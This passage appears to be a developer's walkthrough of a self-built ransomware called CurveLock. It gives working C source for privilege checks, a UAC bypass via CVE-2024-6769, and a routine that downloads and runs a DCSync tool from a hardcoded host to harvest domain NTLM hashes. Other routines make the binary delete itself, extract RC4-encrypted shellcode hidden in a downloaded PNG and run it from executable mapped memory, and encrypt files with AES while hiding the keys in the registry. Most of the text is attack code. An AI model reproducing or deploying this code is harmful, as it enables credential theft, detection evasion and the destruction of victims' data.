printf("[!] NtOpenProcessToken Failed With Error: 0x%0.8X\n",
STATUS);
return NULL;
}
printf("[+] Current Process Token Retrieved\n");
return hToken;
}
Dynamic import: Fetches
NtOpenProcessToken
at runtime.Self-token handle: Passes
(HANDLE)-1
so NTDLL opens the caller’s own process.Desired access:
TOKEN_QUERY
, enough to query elevation & integrity.Result: Returns a valid token handle on success, or
NULL
on failure.
3. QueryTokenIntegrity
QueryTokenIntegrity
DWORD QueryTokenIntegrity(IN HANDLE hToken) {
NTSTATUS STATUS = 0x00;
PTOKEN_MANDATORY_LABEL pTokenLabel = NULL;
ULONG uReturnLength = 0, uSidCount = 0;
DWORD dwIntegrity = THREAD_INTEGRITY_UNKNOWN;
fnNtQueryInformationToken pNtQueryInformationToken = NULL;
fnRtlSubAuthorityCountSid pRtlSubAuthorityCountSid = NULL;
fnRtlSubAuthoritySid pRtlSubAuthoritySid = NULL;
// 1. Validate handle
if (!hToken)
return FALSE;
// 2. Resolve required NTDLL routines
pNtQueryInformationToken =
(fnNtQueryInformationToken)
GetProcAddressQ(GetModuleHandle(TEXT("NTDLL")), "NtQueryInformationToken");
pRtlSubAuthorityCountSid =
(fnRtlSubAuthorityCountSid)
GetProcAddressQ(GetModuleHandle(TEXT("NTDLL")), "RtlSubAuthorityCountSid");
pRtlSubAuthoritySid =
(fnRtlSubAuthoritySid)
GetProcAddressQ(GetModuleHandle(TEXT("NTDLL")), "RtlSubAuthoritySid");
if (!pNtQueryInformationToken || !pRtlSubAuthorityCountSid || !pRtlSubAuthoritySid) {
printf("[!] GetProcAddress [%d] Failed With Error: %d\n",
__LINE__, GetLastError());
return FALSE;
}
// 3. Query size of TokenIntegrityLevel info
STATUS = pNtQueryInformationToken(
hToken,
TokenIntegrityLevel,
NULL,
0,
&uReturnLength
);
if (STATUS != STATUS_SUCCESS && STATUS != STATUS_BUFFER_TOO_SMALL) {
printf("[!] NtQueryInformationToken [%d] Failed: 0x%0.8X\n",
__LINE__, STATUS);
return FALSE;
}
// 4. Allocate buffer
pTokenLabel = LocalAlloc(LPTR, uReturnLength);
if (!pTokenLabel) {
printf("[!] LocalAlloc Failed With Error: %d\n", GetLastError());
return FALSE;
}
// 5. Retrieve the actual TokenIntegrityLevel data
STATUS = pNtQueryInformationToken(
hToken,
TokenIntegrityLevel,
pTokenLabel,
uReturnLength,
&uReturnLength
);
if (STATUS != STATUS_SUCCESS) {
printf("[!] NtQueryInformationToken [%d] Failed: 0x%0.8X\n",
__LINE__, STATUS);
goto _END_OF_FUNC;
}
// 6. Compute index of the RID in the SID
uSidCount = (*pRtlSubAuthorityCountSid(pTokenLabel->Label.Sid)) - 1;
// 7. Read the integrity RID
dwIntegrity = *pRtlSubAuthoritySid(
pTokenLabel->Label.Sid,
uSidCount
);
// 8. Map RID to human levels
if (dwIntegrity < SECURITY_MANDATORY_LOW_RID) {
dwIntegrity = THREAD_INTEGRITY_UNKNOWN;
printf("[i] Process Token is at an Unknown Integrity Level\n");
}
else if (dwIntegrity < SECURITY_MANDATORY_MEDIUM_RID) {
dwIntegrity = THREAD_INTEGRITY_LOW;
printf("[i] Process Token is at a Low Integrity Level\n");
}
else if (dwIntegrity < SECURITY_MANDATORY_HIGH_RID) {
dwIntegrity = THREAD_INTEGRITY_MEDIUM;
printf("[i] Process Token is at a Medium Integrity Level\n");
}
else {
dwIntegrity = THREAD_INTEGRITY_HIGH;
printf("[i] Process Token is at a High Integrity Level\n");
}
// 9. Cleanup & return
_END_OF_FUNC:
if (pTokenLabel)
LocalFree(pTokenLabel);
return dwIntegrity;
}
Two-pass query: First call to get required buffer size, second to actually retrieve the
TOKEN_MANDATORY_LABEL
.SID parsing: Uses
RtlSubAuthorityCountSid
andRtlSubAuthoritySid
to pick out the last sub-authority (the integrity level RID).Integrity mapping:
< LOW_RID
→ Unknown< MEDIUM_RID
→ Low< HIGH_RID
→ Medium≥ HIGH_RID
→ High
Resource management: Allocates with
LocalAlloc
and frees on exit.
Usage pattern:
HANDLE hToken = GetCurrentToken();
if (hToken) {
BOOL elevated = IsTokenElevated(hToken);
DWORD integrity = QueryTokenIntegrity(hToken);
// … use elevated/integrity …
CloseHandle(hToken);
}
Privilege Escalation
CurveLock exploits CVE-2024-6769 by Fortra for privilege escalation. Here is how it works as per Fortra -

CVE-2024-6769 is a two-stage local privilege escalation vulnerability affecting multiple versions of Microsoft Windows, including Windows 10, Windows 11, and Windows Server editions 2016, 2019, and 2022.
The first stage of the CVE-2024-6769 exploit involves a clever abuse of Windows object namespace manipulation. It uses NtCreateSymbolicLinkObject to create a symbolic link that remaps the root of a drive to a directory fully controlled by the attacker. This drive remapping fools the operating system into resolving file paths incorrectly, making it believe that system files or DLLs reside in the attacker-controlled directory. Once the redirection is in place, the attacker plants a malicious DLL with the same name as a legitimate system DLL expected by a privileged application. When that application attempts to load the DLL, it instead loads the attacker’s version from the fake drive root, resulting in arbitrary code execution under the context of the targeted process, typically at a medium integrity level. This forms the foundation for escalating privileges further.
In the second stage, the exploit targets the Activation Context cache, which is managed by the Client/Server Runtime Subsystem (CSRSS). This cache is used by Windows to optimize the loading of manifest-based applications by storing metadata that dictates how executables should behave in different contexts. The attacker, already executing code via DLL hijacking, poisons this cache by injecting crafted entries that manipulate integrity levels. Through this manipulation, the attacker tricks the system into misclassifying the privilege level of certain operations, effectively allowing a process launched at medium integrity to behave as though it were at high integrity. This technique bypasses User Account Control (UAC), enabling privilege escalation without prompting the user. The result is full administrative privileges on the system, achieved with no user interaction and without triggering traditional defenses.
Lateral Movement Through DcSync

CurveLock utilizes DCSync using DCSyncer tool by notsoshant to extract NTLM hashes from the domain controller. CurveLock assumes that the user account context in which it is being executed is an domain admin or has DCSync rights. The extracted NTLM hashes and username combinations are parsed and stored in a structure along with the domain name for later use.
Function-by-Function Analysis
1. GetDomainName
GetDomainName
BOOL GetDomainName(LPWSTR domainName, DWORD domainNameSize) {
if (GetComputerNameEx(ComputerNameDnsDomain, domainName, &domainNameSize)) {
return TRUE;
}
else {
printf("[!] GetComputerNameEx Failed With Error: %d\n", GetLastError());
return FALSE;
}
}
Purpose: Query the local machine’s DNS domain (e.g.,
corp.example.com
).Key Steps:
Calls
GetComputerNameEx
withComputerNameDnsDomain
to filldomainName
buffer.On success, returns
TRUE
; on failure, logsGetLastError()
and returnsFALSE
.
Error Handling: Prints a descriptive message if the Windows API call fails, but does not otherwise recover.
2. parseDCSyncerResult
parseDCSyncerResult
KeyValuePair* parseDCSyncerResult(const char* result, int* count) {
KeyValuePair* resultArray = NULL;
char line[512];
char currentRDN[256] = { 0 };
int resultCount = 0;
char* resultCopy = _strdup(result);
char* linePtr = strtok(resultCopy, "\n");
while (linePtr != NULL) {
strcpy(line, linePtr);
if (strstr(line, "Object RDN") != NULL) {
char* pos = strchr(line, ':');
if (pos) {
strcpy(currentRDN, pos + 2);
currentRDN[strcspn(currentRDN, "\n")] = 0;
}
}
else if (strstr(line, "Hash NTLM") != NULL) {
char* pos = strchr(line, ':');
if (pos) {
char hashNTLM[256];
strcpy(hashNTLM, pos + 2);
hashNTLM[strcspn(hashNTLM, "\n")] = 0;
resultArray = realloc(
resultArray,
(resultCount + 1) * sizeof(KeyValuePair)
);
strcpy(resultArray[resultCount].objectRDN, currentRDN);
strcpy(resultArray[resultCount].hashNTLM, hashNTLM);
resultCount++;
}
}
linePtr = strtok(NULL, "\n");
}
free(resultCopy);
*count = resultCount;
return resultArray;
}
Purpose: Turn the textual output of DCSyncer into an array of
(objectRDN, hashNTLM)
pairs.Workflow:
Buffer duplication:
_strdup
intoresultCopy
sostrtok
can modify it.Line iteration:
strtok(..., "\n")
to process each line.RDN capture: When a line contains
"Object RDN"
, split at':'
and store the RHS (trimmed) incurrentRDN
.Hash capture: On lines with
"Hash NTLM"
, extract the hash string similarly.Dynamic array growth:
realloc
theresultArray
for one moreKeyValuePair
.Copy
currentRDN
andhashNTLM
into the new slot.Increment
resultCount
.
Cleanup & output:
free(resultCopy)
.Store the count in
*count
and return the allocated array.
Edge Cases:
If no matches occur, returns
NULL
with*count == 0
.Does not check
realloc
/strcpy
failures.
3. DownloadAndExecuteDCSyncer
DownloadAndExecuteDCSyncer
char* DownloadAndExecuteDCSyncer() {
const char* url = "http://192.168.29.245/dcsync.exe";
const char* filePath = "dcsync.exe";
const char* outputFilePath = "dcsyncer_output.txt";
if (!DownloadFile(url, filePath)) {
printf("[!] Failed to download file: %s\n", filePath);
return NULL;
}
printf("[+] File downloaded successfully: %s\n", filePath);
char command[512];
snprintf(
command, sizeof(command),
"cmd.exe /C %s > %s",
filePath, outputFilePath
);
WinExec(command, SW_HIDE);
DWORD waitTime = 1000;
DWORD maxWaitTime = 60000;
DWORD elapsedTime = 0;
while (elapsedTime < maxWaitTime) {
Sleep(waitTime);
elapsedTime += waitTime;
HANDLE hFile = CreateFileA(
outputFilePath,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD fileSize = GetFileSize(hFile, NULL);
CloseHandle(hFile);
if (fileSize > 0) {
break;
}
}
}
HANDLE hFile = CreateFileA(
outputFilePath,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] Failed to open output file: %s\n", outputFilePath);
return NULL;
}
DWORD fileSize = GetFileSize(hFile, NULL);
char* result = (char*)malloc(fileSize + 1);
if (!result) {
printf("[!] Failed to allocate memory for result\n");
CloseHandle(hFile);
return NULL;
}
DWORD bytesRead;
if (!ReadFile(hFile, result, fileSize, &bytesRead, NULL) ||
bytesRead != fileSize) {
printf("[!] Failed to read output file\n");
free(result);
CloseHandle(hFile);
return NULL;
}
result[fileSize] = '\0';
CloseHandle(hFile);
if (!DeleteFileA(outputFilePath)) {
printf("[!] Failed to delete output file: %s\n", outputFilePath);
}
return result;
}
Purpose: Fetch a DCSync helper exe, run it hidden, wait for its textual output, then return that text.
Detailed Steps:
Download:
DownloadFile(url, filePath)
(fromurlmon.lib
).Execute:
Build
cmd.exe /C dcsync.exe > dcsyncer_output.txt
.WinExec(..., SW_HIDE)
to suppress a console window.
Polling loop (up to 60 s):
Sleep 1 s per iteration.
Try
CreateFileA
on the output file; if exists and nonzero size, proceed.
Read-back:
CreateFileA
for read.malloc
a buffer sizedfileSize + 1
.ReadFile
the entire contents, null-terminate.
Cleanup:
Close handle.
Delete the temp output file.
Error Handling: Logs failures at each stage and returns
NULL
on error.
4. DoLateralMovement
DoLateralMovement
BOOL DoLateralMovement() {
printf("[+] Lateral Movement Started\n");
WCHAR domainName[256];
DWORD domainNameSize = _countof(domainName);
if (GetDomainName(domainName, domainNameSize)) {
wprintf(L"[+] Domain Name: %s\n", domainName);
} else {
printf("[!] Failed to retrieve domain name\n");
}
char* dcsyncerResult = DownloadAndExecuteDCSyncer();
if (!dcsyncerResult) {
printf("[!] Failed to execute DCSyncer\n");
return FALSE;
}
int count = 0;
KeyValuePair* resultArray =
parseDCSyncerResult(dcsyncerResult, &count);
printf("[i] Printing Results From DcSyncer\n");
printf("[i] Found %d results\n", count);
if (resultArray) {
for (int i = 0; i < count; i++) {
printf(
"%s\t:\t%s\n",
resultArray[i].objectRDN,
resultArray[i].hashNTLM
);
}
free(resultArray);
}
free(dcsyncerResult);
return TRUE;
}
Purpose: High-level routine that:
Reports the host’s domain.
Spawns and captures DCSyncer output.
Parses and prints any harvested NTLM hashes.
Flow:
Domain info via
GetDomainName
.Tool run via
DownloadAndExecuteDCSyncer
.Parsing via
parseDCSyncerResult
.Result display in a simple
printf
loop.
Resource Management: Frees both the text buffer and the parsed array before returning.
Self Deletion

CurveLock automatically renames the running executable into an alternate NTFS data stream and then marks it for deletion. By using SetFileInformationByHandle
with FileRenameInfo
and FileDispositionInfo
, it ensures the binary cleans up after itself once its handle is closed, without spawning any external process.
Step-by-Step Analysis
BOOL DeleteSelf() {
WCHAR szPath[MAX_PATH * 2] = { 0 };
FILE_DISPOSITION_INFO Delete = { 0 };
HANDLE hFile = INVALID_HANDLE_VALUE;
PFILE_RENAME_INFO pRename = NULL;
const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;
SIZE_T StreamLength = wcslen(NewStream) * sizeof(wchar_t);
SIZE_T sRename = sizeof(FILE_RENAME_INFO) + StreamLength;
…
}
Variable setup
szPath
: buffer for full module path (wide chars).Delete
: structure to mark file deletion.pRename
: pointer to dynamically-builtFILE_RENAME_INFO
.NewStream
: the target data-stream name (e.g.":DEL"
).sRename
: total size needed forFILE_RENAME_INFO
+ stream name.
1. Allocate and initialize rename buffer
pRename = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
if (!pRename) { /* handle error */ }
ZeroMemory(&Delete, sizeof(Delete));
Purpose: Build a
FILE_RENAME_INFO
blob with space for the new stream name.HEAP_ZERO_MEMORY
: Zeroes all fields, avoiding uninitialized data.
2. Prepare delete flag and stream name
Delete.DeleteFile = TRUE;
pRename->FileNameLength = StreamLength;
RtlCopyMemory(pRename->FileName, NewStream, StreamLength);
Delete.DeleteFile = TRUE
– TellsFileDispositionInfo
to delete on close.pRename
fields –FileNameLength
: byte-length of the new name. –FileName
: copy the wide-stringNewStream
(including the leading colon).
3. Get own executable’s path
if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
/* error */
}
GetModuleFileNameW(NULL, …)
returns the full path of the running EXE.
4. Rename the file into the new stream
hFile = CreateFileW(
szPath,
DELETE | SYNCHRONIZE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0, NULL
);
if (hFile == INVALID_HANDLE_VALUE) { /* error */ }
SetFileInformationByHandle(
hFile,
FileRenameInfo,
pRename,
(DWORD)sRename
);
CloseHandle(hFile);
Open with
DELETE | SYNCHRONIZE
andFILE_SHARE_READ
to allow pending deletes.FileRenameInfo
call:Atomically renames
C:\path\app.exe
→C:\path\app.exe:NewStream
, effectively hiding the main data.
Closing the handle finalizes the rename.
5. Mark the stream-renamed file for deletion
hFile = CreateFileW(
szPath,
DELETE | SYNCHRONIZE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0, NULL
);
// Error check omitted for brevity
SetFileInformationByHandle(
hFile,
FileDispositionInfo,
&Delete,
sizeof(Delete)
);
CloseHandle(hFile);
Re-open the same path (now referring to the unnamed primary stream).
FileDispositionInfo
:Delete.DeleteFile == TRUE
ensures the file is removed when this handle closes.
No external processes are needed; Windows garbage-collects the file once all handles are gone.
6. Cleanup and return
HeapFree(GetProcessHeap(), 0, pRename);
return TRUE;
Free the heap-allocated rename info.
Return success if all operations completed without error.
Extraction of Payload and Local Mapped Execution

This module automates the end-to-end retrieval, decryption, and execution of encryptor payload stored inside a PNG:
Download a PNG from a remote URL.
Read the PNG into memory and parse its custom “IDAT” chunks to extract and RC4-decrypt the embedded payload.
Allocate executable memory via a local file mapping and copy the decrypted shellcode into it.
Spawn a thread to execute the shellcode in-process.
Function-by-Function Analysis
1. ExtractDecryptedPayload
ExtractDecryptedPayload
BOOL ExtractDecryptedPayload(
IN PBYTE pPngFileBuffer,
IN SIZE_T sPngFileSize,
OUT PBYTE* ppDecryptedBuff,
OUT PSIZE_T psDecryptedBuffLength
) {
SIZE_T Offset = BYTES_TO_SKIP,
sDecPayloadSize = 0;
DWORD uSectionLength = 0;
CHAR pSectionType[CHUNK_TYPE_SIZE + 1] = { 0 };
PBYTE pRc4Key[RC4_KEY_SIZE] = { 0 };
PBYTE pSectionBuffer = NULL,
pTmpPntr = NULL,
pDecPayload = NULL;
UINT32 uCRC32Hash = 0;
BOOL bFoundHash = FALSE;
// 1. Verify PNG signature
if (*(ULONG*)pPngFileBuffer != PNG_SIGNATURE) {
printf("[!] Input File Is Not A PNG File\n");
return FALSE;
}
// 2. Iterate all chunks until IEND
while (Offset < sPngFileSize) {
// a) Read chunk length + type
uSectionLength = read_be32(pPngFileBuffer + Offset);
Offset += 4;
memcpy(pSectionType, pPngFileBuffer + Offset, CHUNK_TYPE_SIZE);
Offset += CHUNK_TYPE_SIZE;
// b) Point to the chunk data
pSectionBuffer = pPngFileBuffer + Offset;
Offset += uSectionLength;
// c) Read the CRC that follows
uCRC32Hash = read_be32(pPngFileBuffer + Offset);
Offset += 4;
// d) Break if this is the IEND chunk
if (uCRC32Hash == IEND_HASH)
break;
// e) Detect the “marker” CRC
if (uCRC32Hash == MARKED_IDAT_HASH) {
bFoundHash = TRUE;
continue;
}
// f) Once marker found, every subsequent IDAT holds encrypted payload
if (bFoundHash) {
// i. Extract RC4 key + encrypted data
memcpy(pRc4Key, pSectionBuffer, RC4_KEY_SIZE);
pSectionBuffer += RC4_KEY_SIZE;
uSectionLength -= RC4_KEY_SIZE;
// ii. Decrypt into temporary buffer
pTmpPntr = LocalAlloc(LPTR, uSectionLength);
Rc4EncryptDecrypt(pSectionBuffer, uSectionLength,
pRc4Key, RC4_KEY_SIZE, pTmpPntr);
// iii. Append to growing plaintext buffer
sDecPayloadSize += uSectionLength;
if (!pDecPayload)
pDecPayload = LocalAlloc(LPTR, sDecPayloadSize);
else
pDecPayload = LocalReAlloc(pDecPayload,
sDecPayloadSize,
LMEM_MOVEABLE|LMEM_ZEROINIT);
memcpy(pDecPayload + (sDecPayloadSize - uSectionLength),
pTmpPntr, uSectionLength);
// iv. Clean up temp
SecureZeroMemory(pTmpPntr, uSectionLength);
LocalFree(pTmpPntr);
}
}
// 3. Report failure if no marker found
if (!bFoundHash)
printf("[!] Could Not Find IDAT Section With Hash: 0x%08X\n", MARKED_IDAT_HASH);
// 4. Return the assembled plaintext
*ppDecryptedBuff = pDecPayload;
*psDecryptedBuffLength = sDecPayloadSize;
return bFoundHash;
}
Signature Check: Confirms the first 4 bytes match the PNG magic.
Chunk Parsing Loop:
Reads each chunk’s big-endian length, 4-byte type, data, and CRC.
Stops at the standard
IEND
CRC.
Marker Detection:
Looks for a special
MARKED_IDAT_HASH
CRC to know when to start extracting.
Decryption Logic:
Reads a 16-byte RC4 key from the start of each payload chunk.
RC4-decrypts the remainder into a temp buffer.
Grows a single
pDecPayload
buffer viaLocalAlloc
/LocalReAlloc
.Appends each decrypted slice sequentially.
Zeroes and frees the temporary buffer.
Output: Returns the decrypted buffer and its length, or
FALSE
if the marker was never found.
2. ReadFileFromDiskA
ReadFileFromDiskA
BOOL ReadFileFromDiskA(
IN LPCSTR cFileName,
OUT PBYTE* ppFileBuffer,
OUT PDWORD pdwFileSize
) {
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwFileSize, dwBytesRead;
PBYTE pBaseAddress = NULL;
// 1. Open for read
hFile = CreateFileA(
cFileName, GENERIC_READ, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileA Failed: %d\n", GetLastError());
goto Cleanup;
}
// 2. Query file size
dwFileSize = GetFileSize(hFile, NULL);
if (dwFileSize == INVALID_FILE_SIZE) {
printf("[!] GetFileSize Failed: %d\n", GetLastError());
goto Cleanup;
}
// 3. Allocate a buffer
pBaseAddress = HeapAlloc(
GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize
);
if (!pBaseAddress) {
printf("[!] HeapAlloc Failed: %d\n", GetLastError());
goto Cleanup;
}
// 4. Read entire file
if (!ReadFile(
hFile, pBaseAddress, dwFileSize,
&dwBytesRead, NULL
) || dwBytesRead != dwFileSize) {
printf(
"[!] ReadFile Failed: %d (read %u of %u)\n",
GetLastError(), dwBytesRead, dwFileSize
);
HeapFree(GetProcessHeap(), 0, pBaseAddress);
pBaseAddress = NULL;
goto Cleanup;
}
// 5. Return on success
*ppFileBuffer = pBaseAddress;
*pdwFileSize = dwFileSize;
Cleanup:
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
return (pBaseAddress && *pdwFileSize) ? TRUE : FALSE;
}
Open & Validate: Uses
CreateFileA
andGetFileSize
.Buffer Allocation: Zero-initialized via
HeapAlloc
.Full Read: Ensures the exact byte count is read.
Cleanup Label: Centralized error path that closes the handle and frees the buffer if needed.
3. LocalMappingInjection
LocalMappingInjection
BOOL LocalMappingInjection(
IN PBYTE pShellcodeAddress,
IN SIZE_T sShellcodeSize,
OUT PBYTE* ppInjectionAddress
) {
HANDLE hMappingFile = NULL;
PBYTE pMappingAddress = NULL;
// 1. Validate inputs
if (!pShellcodeAddress || !sShellcodeSize || !ppInjectionAddress)
return FALSE;
// 2. Create a RWX file mapping of desired size
hMappingFile = CreateFileMappingW(
INVALID_HANDLE_VALUE, NULL,
PAGE_EXECUTE_READWRITE,
0, sShellcodeSize, NULL
);
if (!hMappingFile) {
printf("[!] CreateFileMappingW Failed: %d\n", GetLastError());
return FALSE;
}
printf("[i] Mapping File Created\n");
// 3. Map view with EXECUTE+WRITE permissions
pMappingAddress = MapViewOfFile(
hMappingFile,
FILE_MAP_WRITE | FILE_MAP_EXECUTE,
0, 0, sShellcodeSize
);
if (!pMappingAddress) {
printf("[!] MapViewOfFile Failed: %d\n", GetLastError());
CloseHandle(hMappingFile);
return FALSE;
}
printf("[i] Memory Mapped at: %p\n", pMappingAddress);
// 4. Copy the shellcode into executable region
*ppInjectionAddress = memcpy(
pMappingAddress, pShellcodeAddress, sShellcodeSize
);
// 5. Cleanup handle (view remains valid)
CloseHandle(hMappingFile);
return (*ppInjectionAddress) ? TRUE : FALSE;
}
File Mapping: Creates an in-memory RWX region without touching disk.
MapView: Requests both write and execute on the mapped view.
Injection:
memcpy
copies the decrypted shellcode into the mapping.Thread-Safety: Returns the injected address for later execution.
4. fetchPayload
fetchPayload
BOOL fetchPayload() {
PBYTE pPngFileBuffer = NULL,
pShellcodeBuffer = NULL;
SIZE_T sPngFileSize = 0,
sShellcodeSize = 0;
printf("[i] Extracting Payload from PNG File\n");
// 1. Download the PNG
LPCSTR url = "http://192.168.29.245/payload.png";
LPCSTR localFile = "payload.png";
if (!DownloadFile(url, localFile))
return FALSE;
// 2. Read PNG into memory
if (!ReadFileFromDiskA(localFile, &pPngFileBuffer, (PDWORD)&sPngFileSize))
return FALSE;
// 3. Parse & decrypt shellcode
if (!ExtractDecryptedPayload(
pPngFileBuffer, sPngFileSize,
&pShellcodeBuffer, &sShellcodeSize
)) return FALSE;
// 4. Inject into executable mapping
printf("[i] Injecting Shellcode Into Local Mapped Memory\n");
PBYTE pInjectionAddress = NULL;
if (!LocalMappingInjection(
pShellcodeBuffer, sShellcodeSize,
&pInjectionAddress
)) {
printf("[!] LocalMappingInjection Failed: %d\n", GetLastError());
return FALSE;
}
// 5. Execute via new thread
HANDLE hThread = CreateThread(
NULL, 0,
(LPTHREAD_START_ROUTINE)pInjectionAddress,
NULL, 0, NULL
);
if (!hThread) {
printf("[!] CreateThread Failed: %d\n", GetLastError());
return FALSE;
}
// 6. Wait & clean up
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFree(pInjectionAddress, 0, MEM_RELEASE);
return TRUE;
}
Orchestrator: Calls each helper in sequence.
Networking: Uses
DownloadFile
(fromurlmon
) to grab the PNG.Execution: Spawns a thread to run the injected shellcode, then waits indefinitely.
Resource Cleanup: Frees memory and closes handles after execution.
Local mapped injection is done through a sacrificial thread so that in the rare event it gets detected, the thread can be killed mid-execution later. This is an optional implementation that I haven't done yet.
Payload
Encryptor
ECC with Diffie-Hellman key exchange is used to generate the AES-256 keys.
Each file in encrypted with it's own AES-256 key and the keys are stored in the registry under - "HKCU_CURRENT_USER\CONTROL PANEL"

Elliptic Curve Cryptography (ECC) Operations
ECC is used in the code to securely generate a shared secret between two parties (na and nb). This secret is then used to derive the AES key.
The elliptic curve is defined by the equation:




So, the encryptor implements :
Defines elliptic-curve parameters and AES constants via macros and structs.
Performs basic ECC operations (
pointAdd
,pointMultiply
) over a small prime field.Derives a shared ECDH secret, hashes it with SHA-256 to form a 256-bit AES key.
Stores the AES key in the registry under a per-file subkey.
Encrypts arbitrary files (up to 100 MB) with AES-256-CBC, prepending a 4-byte signature and IV.
Walks a directory tree recursively, encrypting each non-blacklisted file and writing out
<filename>.CurveLock
.
Function-by-Function Analysis
1. mod
and modInverse
mod
and modInverse
int mod(int a, int b) {
int r = a % b;
return r < 0 ? r + b : r;
}
int modInverse(int a, int m) {
a = mod(a, m);
for (int x = 1; x < m; x++) {
if (mod(a * x, m) == 1) {
return x;
}
}
return -1;
}
mod
Computes
a mod b
in the range[0, b-1]
, fixing C’s negative-remainder behavior.
modInverse
Brute-forces the modular inverse of
a
modm
: findsx
such that(a*x) % m == 1
.Returns
-1
if no inverse exists (rare for prime modulus).
2. pointAdd
pointAdd
Point pointAdd(Point P, Point Q) {
if (P.x == Q.x && P.y == Q.y) {
// Point doubling formula
int s = mod((3 * P.x * P.x + a) * modInverse(2 * P.y, p), p);
int x = mod(s * s - 2 * P.x, p);
int y = mod(s * (P.x - x) - P.y, p);
return (Point){ x, y };
} else {
// Point addition formula
int s = mod((Q.y - P.y) * modInverse(Q.x - P.x, p), p);
int x = mod(s * s - P.x - Q.x, p);
int y = mod(s * (P.x - x) - P.y, p);
return (Point){ x, y };
}
}
Purpose: Implements EC point addition over curve y2=x3+ax+b mod py^2 = x^3 + ax + b \bmod py2=x3+ax+bmodp.
Doubling: If
P == Q
, uses the tangent slope λ=(3x2+a)/(2y)\lambda = (3x^2 + a) / (2y)λ=(3x2+a)/(2y).Addition: Otherwise, λ=(yQ−yP)/(xQ−xP)\lambda = (y_Q - y_P)/(x_Q - x_P)λ=(yQ−yP)/(xQ−xP).
Uses
mod
&modInverse
to stay within field Fp\mathbb{F}_pFp.
3. pointMultiply
pointMultiply
Point pointMultiply(Point P, int n) {
Point R = { 0, 0 }; // point at infinity
Point Q = P;
while (n > 0) {
if (n & 1) {
R = (R.x==0 && R.y==0) ? Q : pointAdd(R, Q);
}
Q = pointAdd(Q, Q);
n >>= 1;
}
return R;
}
Purpose: Fast “double-and-add” scalar multiplication nPnPnP.
Algorithm:
Initializes accumulator
R
at infinity (0,0
).For each bit of
n
:If bit is 1,
R = R + Q
.Then
Q = Q + Q
.
Result: Returns the EC point n⋅Pn \cdot Pn⋅P.
4. WriteShellcodeToRegistry
(Key Storage)
WriteShellcodeToRegistry
(Key Storage)BOOL WriteShellcodeToRegistry(
IN BYTE* pShellcode,
IN DWORD dwShellcodeSize,
IN LPCSTR lpSubKey
) {
HKEY hKey = NULL;
if (RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY,
0, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) {
printf("[!] RegOpenKeyExA Failed …\n");
return FALSE;
}
if (RegSetValueExA(hKey, lpSubKey, 0, REG_BINARY,
pShellcode, dwShellcodeSize) != ERROR_SUCCESS) {
printf("[!] RegSetValueExA Failed …\n");
RegCloseKey(hKey);
return FALSE;
}
printf("[+] DONE !\n");
RegCloseKey(hKey);
return TRUE;
}
Purpose: Saves binary data (here, the derived AES key) under
HKCU\Control Panel\<lpSubKey>
.Steps:
Opens or creates the
Control Panel
key withKEY_SET_VALUE
.Writes a
REG_BINARY
value named<lpSubKey>
.
Use: Called in
ReplaceWithEncryptedFile
to persist each file’s AES key.
5. Aes256EncryptBuffer
(AES-CBC)
Aes256EncryptBuffer
(AES-CBC)BOOL Aes256EncryptBuffer(
BYTE* pbKey, BYTE* pbIV,
BYTE* pbData, DWORD cbData,
BYTE* pbEncryptedData, DWORD* pcbEncryptedData
) {
BCRYPT_ALG_HANDLE hAlg;
BCRYPT_KEY_HANDLE hKey;
PBYTE pbKeyObject;
DWORD cbKeyObject, cbDataOut;
// 1. Open AES provider
BCryptOpenAlgorithmProvider(&hAlg,
BCRYPT_AES_ALGORITHM, NULL, 0);
// 2. Query key-object size
BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
(PBYTE)&cbKeyObject, sizeof(cbKeyObject), &cbDataOut, 0);
// 3. Allocate key object
pbKeyObject = HeapAlloc(GetProcessHeap(), 0, cbKeyObject);
// 4. Generate the symmetric key
BCryptGenerateSymmetricKey(hAlg, &hKey,
pbKeyObject, cbKeyObject, pbKey, AES_KEY_SIZE, 0);
// 5. Encrypt with CBC+PKCS#7
BCryptEncrypt(hKey, pbData, cbData, NULL,
pbIV, AES_BLOCK_SIZE,
pbEncryptedData, *pcbEncryptedData,
&cbDataOut, BCRYPT_BLOCK_PADDING);
*pcbEncryptedData = cbDataOut;
// 6. Cleanup
BCryptDestroyKey(hKey);
HeapFree(GetProcessHeap(), 0, pbKeyObject);
BCryptCloseAlgorithmProvider(hAlg, 0);
return TRUE;
}
Purpose: Encrypts
cbData
bytes inpbData
with AES-256-CBC+padding.Procedure:
Opens the AES algorithm provider.
Retrieves the internal key-object size.
Allocates and initializes it via
BCryptGenerateSymmetricKey
.Calls
BCryptEncrypt
with the provided IV (pbIV
).
Outputs: Encrypted blob and its length.
6. ReplaceWithEncryptedFile
ReplaceWithEncryptedFile
BOOL ReplaceWithEncryptedFile(
IN LPWSTR szFilePathToEncrypt,
int fileIndex
) {
// 1. Reject missing path
if (!szFilePathToEncrypt) return FALSE;
// 2. Build encrypted filename: append ".CurveLock"
WCHAR* pwcEncryptedFilePath = malloc(...);
swprintf_s(pwcEncryptedFilePath, ..., L"%s%s",
szFilePathToEncrypt, ENCRYPTED_FILE_EXTENSION);
// 3. Skip blacklisted extensions
if (wcscmp(ext, L".exe")==0 || ... ) {
printf("[!] Blacklisted Extension\n");
goto End;
}
// 4. Open source & dest files
hDest = CreateFileW(pwcEncryptedFilePath, CREATE_NEW, …);
hSrc = CreateFileW(szFilePathToEncrypt,
